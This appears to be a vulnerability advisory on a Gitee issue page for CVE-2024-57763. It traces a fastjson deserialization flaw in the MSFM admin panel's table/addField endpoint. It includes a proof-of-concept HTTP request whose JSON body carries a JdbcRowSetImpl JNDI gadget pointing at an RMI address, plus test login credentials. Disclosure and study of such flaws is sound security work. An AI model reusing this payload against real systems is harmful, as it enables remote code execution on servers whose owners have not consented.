MSFM system/table/addField has fastjson deserialization.

CVE-2024-57763
find by Chaitin Security Research Lab

Vulnerability Product: wangl1989/MSFM
Vulnerability version: before 2025.01.01
Vulnerability type: fastjson deserialization
Vulnerability Details：
1. A global search of JSONObject. toJSONString revealed that at com/mysiteforme/admin/service/ipl/TableServiceImpl. java: 146, the path JSON Object. toJSONString receives the parameter tableField and converts it into a JSON format string. Upon further analysis, it was found that this operation was performed in the addColumn() method. Continue tracking to see where this method was called.
![输入图片说明](https://foruda.gitee.com/images/1736134027875946916/acf52d14_13737655.png "屏幕截图")
2. Tracking the addColumn() method to the controller layer, the addColumn() method was called at com/mysiteform/admin/controller/system/TableController. java: 293 and received the tableField parameter. Upward analysis showed that the parameter com/mysiteform/admin/controller/system/TableController. java: 254 was obtained from the request sent by the user side in the/addField path, and the entire process did not filter or escape the parameter tableField. Therefore, the parameter tableField is controllable, and there is a fastjson deserialization vulnerability here.
![输入图片说明](https://foruda.gitee.com/images/1736134047408169709/507ad187_13737655.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1736134059728715212/6d5a3ba8_13737655.png "屏幕截图")
3. Construct POC, log in to the backend to capture packets, and replace cookies

```
http://127.0.0.1:8083
账号: test/1
```

```
POST /admin/system/table/addField HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Cookie:XXXXX

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/a","autoCommit":true}}
```
![输入图片说明](https://foruda.gitee.com/images/1736134124536049436/5bdf3c3e_13737655.png "屏幕截图")

wangl1989/MSFM

Content Risk Flag

Comments (0)

wangl1989/MSFM .gitee-modal { width: 500px !important; }

Content Risk Flag